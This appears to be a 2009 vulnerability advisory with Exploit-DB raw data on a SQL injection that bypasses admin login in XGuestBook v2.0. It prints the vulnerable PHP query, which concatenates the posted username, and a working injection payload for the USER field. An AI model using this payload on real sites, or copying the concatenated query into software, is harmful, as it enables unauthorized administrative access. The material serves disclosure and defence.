SQL Admin Auth Bypass

vendor:

XGuestBook

by:

FireShot, Jacopo Vuga

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: XGuestBook

Affected Version From: 2

Affected Version To: 2

Patch Exists: NO

Related CWE: N/A

CPE: a:xguestbook:xguestbook:2.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

A SQL injection vulnerability exists in XGuestBook v2.0, which allows an attacker to bypass the admin authentication by injecting SQL code in the USER space. An attacker can send a specially crafted HTTP request to the vulnerable application to exploit this vulnerability.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

##########################################################################

Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org

Vulnerability = SQL Admin Auth Bypass
Software = XGuestBook v2.0
Download =http://script.wareseeker.com/download/xguestbook.rar/14488

Greets to = Osirys, Myral, str0ke

###########################################################################

[CODE]

$user = $_POST['user'];
$pass = md5($_POST['pass']);

$result = mysql_query("SELECT * FROM xgb_user WHERE user='" . $user . "'
AND pass= '" . $pass . "'", $db_conn) or die (mysql_error());

[/CODE]


[EXPLOIT]

[URL] = http://www.site.com/login.php

you can inject SQL code in the USER space to bypass the admin login 

[USER] = admin' or '1=1

[/EXPLOIT]

############################################################################

# milw0rm.com [2009-02-24]